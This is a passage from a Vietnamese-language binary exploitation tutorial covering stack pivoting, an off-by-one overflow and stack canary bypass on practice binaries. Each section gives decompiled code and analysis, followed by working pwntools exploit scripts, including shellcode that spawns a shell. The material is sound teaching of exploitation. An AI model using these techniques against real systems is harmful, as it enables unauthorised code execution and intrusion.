nhập là `0x404848`? --> Lý do là **leave ; ret** tương ứng với **mov rsp, rbp ; pop rbp**. Và **pop** nó xảy ra `alignment`, nên phải nhảy vào địa chỉ ở trước `win()` chứ không phải vào `win()` luôn nha. ::: ## Bof 9: Stack pivot thay đổi biến ### Phân tích * Load file vào **IDA**: * `main()`: ```py int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v4[4]; // [rsp+0h] [rbp-20h] BYREF v4[0] = 0x41414141LL; v4[1] = 0x42424242LL; v4[2] = 0x43434343LL; init(argc, argv, envp); printf("Gift for new user: %p\n", v4); get_credential(); if ( *v4 == __PAIR128__(0xDEADBEEFLL, 0x13371337LL) && v4[2] == 0xCAFEBABELL ) { system("/bin/sh"); } else { puts("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"); puts("!!! Unauthorized access is forbidden !!!"); puts("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"); } return 0; } ``` * `get_credential()`: ```py ssize_t get_credential() { char username[32]; // [rsp+0h] [rbp-40h] BYREF char password[32]; // [rsp+20h] [rbp-20h] BYREF memset(password, 0, sizeof(password)); memset(username, 0, sizeof(username)); write(1, "Username: ", 0xAuLL); read(0, password, 34uLL); // buffer overflow write(1, "Password: ", 0xAuLL); return read(0, username, 32uLL); } ``` * Ở đây `v4` nằm trên **stack**, mà `printf("Gift for new user: %p\n", v4);` thì sẽ in ra địa chỉ **stack**. * Ta thấy tại hàm `read(password)` xảy ra **bof** khi khai báo $32$ bytes mà cho nhập $34$. * Đặt `breakpoint` tại hàm `read(password)`, `c` tới nó thì thấy như sau: ![Screenshot 2025-05-08 193237](https://hackmd.io/_uploads/rJIGrQqxlg.png) * `Username` được `read` vào địa chỉ `0x00007fffffffdaa0`, nếu chỉ nhập $32$ bytes thì ta chỉ vừa đẹp ghi tới `0x00007fffffffdab8`. Vậy ở đây khi được nhập $34$ bytes thì $2$ bytes cuối sẽ được luôn vào 2 bytes cuối của `rbp` (`daf0`) * Thử nhé: ![Screenshot 2025-05-08 193947](https://hackmd.io/_uploads/H15iL79xle.png) * Đó, sau khi nhập pattern 34 bytes `aaaaaaaabaaaaaaacaaaaaaadaaaaaaaea` thì 2 byte cuối của `rsp` bị thay đổi lúc này là $6165$ <-> `ae`. * Vậy lợi dụng điều này thì ta có thể kiểm soát 2 bytes cuối của `rsp`, từ đó ghi 3 giá trị `0xDEADBEEF,0x13371337,0xCAFEBABE` và chuyển hướng **stack** trỏ tới vùng đó. ### Ý tưởng * Ở đây ta có thể lựa chọn ghi 3 giá trị `0xDEADBEEF,0x13371337,0xCAFEBABE` vào `username` hoặc `password` đều được. Ở đây mình chọn ghi vào `username`. Sau đó tính `offset` tới vùng nhớ `username` ( nơi và ghi 3 giá trị kia ) để tìm `saved_rbp` mới. ![image](https://hackmd.io/_uploads/HJDtjX9eel.png) ### Exploit ```py from pwn import * p = process("./bof9") exe = ELF("./bof9") p.recvuntil(b'user: ') old_rbp = int(p.recvuntil(b'\n',drop=True),16) print("Stack leak: ",old_rbp) new_rbp = old_rbp - 0x10 payload = p64(0x13371337) payload += p64(0xDEADBEEF) payload += p64(0xCAFEBABE) payload += p64(0) payload += p64(new_rbp)[:2] p.sendafter(b'Username: ',payload) p.sendafter(b'Password: ',b'hihi') p.interactive() ``` ![image](https://hackmd.io/_uploads/BJjU0mqggl.png) :::success * Ở đây tại script xuất hiện `payload += p64(0)`, thì đơn giản là do mình dùng $32$ = $(4*8)$bytes để ghi giá trị, mà số giá trị cần ghi là $3$ tương ứng $3*8$ = 24 bytes, vậy còn $8$ bytes sau cùng thì ghi đại cái gì đó. Vậy thì `payload += p64(new_rbp)[:2]` mới overwrite được `saved_rbp` á. ::: ## Bof 10: Off by one ### Phân tích * Load file vào **IDA**: * Hàm `main()`: ```py int __cdecl main(int argc, const char **argv, const char **envp) { char name[80]; // [rsp+0h] [rbp-50h] BYREF memset(name, 0, sizeof(name)); init(argc, argv, envp); puts("What's your name?"); printf("Your name: "); fgets(name, 80, stdin); puts("\nNice to meet you, let's play a game that I will repeat what you say"); printf("Ah before we start, I have a gift for you: %p\n", name); play_game("Ah before we start, I have a gift for you: %p\n"); return 0; } ``` * Hàm `play_game()`: ```py int __fastcall play_game(const char *a1) { char s[512]; // [rsp+0h] [rbp-200h] BYREF memset(s, 0, sizeof(s)); printf("Say something: "); __isoc99_scanf("%512s", s); // Buffer Overflow printf("You said: "); return puts(s); } ``` * Ở đây ta thấy tại `main()`, **name** được khai báo $80$ bytes và `fgets` nhập $80$ bytes, còn `play_game()`, **s** khai báo $512$ bytes và `scanf` nhập $512$ bytes. --> Vậy có lỗi gì không? :::success Với trường hợp ngữ cảnh bài này,`fgets` thì cho nhập từ bytes $0$->$79$, và nó thêm byte null vào bytes thứ $80$. Nhưng với `scanf` thì cho nhập tối đa $512$ bytes, và thêm byte null vào. Vậy tức là nếu `scanf` nhập đủ $512$ bytes, thì byte null sẽ thêm vào byte thứ $513$ -> ra ngoài `buffer`. ![Screenshot 2025-05-09 190955](https://hackmd.io/_uploads/r1zpx_igll.png) * Đó byte null bị xuống `rbp` rồi này. * **Offset** từ `0x00007fffffffda00` tới `rsp` là $0x170$ nha. ::: * Nghe thì thấy bug rồi đó, nhưng ta biết bytes đó luôn là byte null, ta không thay đổi được nó, vậy thì có thể làm gì để khai thác? ### Ý tưởng * Ta thử **checksec** xem: ![image](https://hackmd.io/_uploads/Hybxbbixlg.png) * Ở đây, `canary` tắt -> overflow được. `NX` tắt -> `stack` thực thi được. `PIE` tắt -> `ROPgadget` được. * Kết hợp với việc chương trình in ra giá trị `name` -> leak ra `stack`. * Vậy từ đó ta có thể chèn `shellcode` vào `s` khi nhập rồi có thể thực thi. ### Exploit ```py from pwn import * exe = ELF("./bof10") while True: try: p = process("./bof10") p.sendlineafter(b'Your name: ',b'giangnd') p.recvuntil(b'a gift for you: ') stack_leak = int(p.recvuntil(b'\n',drop=True),16) print("Stack leak: ",hex(stack_leak)) shellcode = asm( ''' mov rax, 0x3B mov rdi, 29400045130965551 push rdi mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall ''',arch = 'amd64' ) ret_addr = 0x0000000000401357 payload = p64(ret_addr) * 0x30 payload += p64(stack_leak - 0x88) payload += shellcode payload = payload.ljust(0x200, b'A') p.sendlineafter(b'Say something: ',payload) p.recvuntil(b'\n',drop=True) p.sendline(b'echo hihi') resp = p.recvline(timeout=1) if b'hihi' in resp: print("[+] How can someone be both handsome and lucky?") p.interactive() except: print("[+] I think you need luck. Try again.") ``` ### Giải thích payload ![image](https://hackmd.io/_uploads/BkhOqLselx.png) ![image](https://hackmd.io/_uploads/Bk5R5Uslge.png) ![image](https://hackmd.io/_uploads/SyteiLslxx.png) * Ta thấy tại vùng `payload` này, ta được nhập tối đa 512 bytes, mà `shellcode` thì khá ngắn, nên dẫn tới xác suất để `ret` nhảy vào đúng `shellcode` là rất thấp. Vậy ở đây ta dùng 1 trick lỏ là pad nhiều lệnh `ret` vào những vị trí trên đó, vậy thì khi `ret` nhảy vào đâu đi nữa thì nó cũng sẽ thực thi từ trên xuống và sẽ tới được lệnh trỏ vào địa chỉ `shellcode` của mình. ![Screenshot 2025-05-09 174253](https://hackmd.io/_uploads/ryat3Lsgxe.png) * Đây là khi ta làm như trick, thì đến `0x00007ffdeddfd700` nó trỏ tới `0x00007ffdeddfd708` và `0x00007ffdeddfd708` trỏ tới `shellcode` ( đoạn màu hồng ). **Offset** từ `shellcode` tới `rsp` là $0x80$. :::danger * Còn 1 lưu ý nữa là tại sao ta chèn $0x30$ lệnh ret? * Như ở trên phân tích, **Offset** từ `rbp` tới `rsp` là $0x170$ (giờ là nơi ghi `shellcode`), và tiếp sau đó thì là `p64(stack_leak - 0x88)` và chèn `shellcode` nên thêm $(2*8) = 16$ bytes nữa, vậy tổng cộng là $(0x170 + 2*8)//8 = 0x30$. ::: ## Canary và bypass canary ![image](https://hackmd.io/_uploads/SJEfEtjexl.png) * Thông thường, ở đầu 1 hàm, một giá trị ngẫu nhiên, gọi là **canary**, được tạo và được chèn vào cuối vùng rủi ro cao nơi **stack** có thể bị tràn. Ở cuối hàm, nó sẽ được kiểm tra xem giá trị **canary** này có bị sửa đổi không. Nếu có sẽ ngay lập tức exit chương trình. * Vậy thì ta hiểu rằng nếu overwrite biến cục bộ với nhau trong buffer thì không vấn đề gì. Nhưng nếu overwrite làm thay đổi giá trị **canary**, thì khi kiểm tra ở cuối hàm, chương trình sẽ phát hiện và kết thúc ngay lập tức. :::success * Vậy thì làm sao để bypass **canary**? --> Nếu tồn tại **buffer overflow**, thì cách duy nhất là **leak canary**. * Đương nhiên rồi, ta lấy ra giá trị **canary** đó, overwrite đến khi gặp **canary** thì ghi lại là xong. ::: * Ở dưới đây mình có trình bày 1 ví dụ để thấy rõ hơn. ### Phân tích * Load file vào **IDA**: ```py int __cdecl main(int argc, const char **argv, const char **envp) { char name[32]; // [rsp+0h] [rbp-130h] BYREF __int64 feedback[34]; // [rsp+20h] [rbp-110h] BYREF feedback[33] = __readfsqword(0x28u); memset(name, 0, sizeof(name)); memset(feedback, 0, 256); init(argc, argv, envp); printf("Your name: "); read(0, name, 512uLL); printf("Hello %s\n", name); printf("Your feedback: "); read(0, feedback, 512uLL); puts("Thank you for your feedback!"); return 0; } ``` * Ta thấy tại `name` xảy ra **buffer overflow** rồi. Thử xem:![image](https://hackmd.io/_uploads/rk7ydtjlxl.png) * Đó bị detect rồi này. * Để xem giá trị **canary** ta có thể đặt **breakpoint** ngay sau lệnh `mov rax, QWORD PTR fs:0x28` để xem. ![Screenshot 2025-05-09 210613](https://hackmd.io/_uploads/Sk1MhKsell.png) * Giá trị này luôn có bytes đầu là null, còn lại 7 bytes là random. * Còn không nếu muốn xem chỉ cần `tel`, và nó nằm ngay trên `rbp`. ![Screenshot 2025-05-09 210724](https://hackmd.io/_uploads/ByVLhYsgge.png) ### Ý tưởng * Ta thấy **offset** từ buffer tới canary là $0x128$ nha. * Ở đây chương trình còn sử dụng hàm `read()`, không có cơ chế tự thêm byte null, lợi dụng điều đó ta overwrite $0x128$ thì vừa tới **canary**, vậy ghi thêm 1 bytes nữa thì sẽ vào bytes đầu của **canary** thì `printf()` sẽ leak ra cho mình **canary**. * À ngoài ra chương trình có hàm `win`, vậy thì **ret2win** thui. ### Exploit ```py from pwn import * from Crypto.Util.number import * exe = ELF("./canary") p = process("./canary") p.sendafter(b'Your name: ',b'A'*(0x128 + 1)) p.recvuntil(b'A'*(0x128 + 1)) canary = u64(b'\0' + p.recv(7)) print("Canary leak: ",hex(canary)) payload = b'A'*(0x128 - 0x20) payload += p64(canary) payload += p64(0) # fake rbp payload += p64(exe.sym['win']+8) p.sendafter(b'Your feedback: ', payload) p.interactive() ``` ![image](https://hackmd.io/_uploads/HyCbGhieeg.png)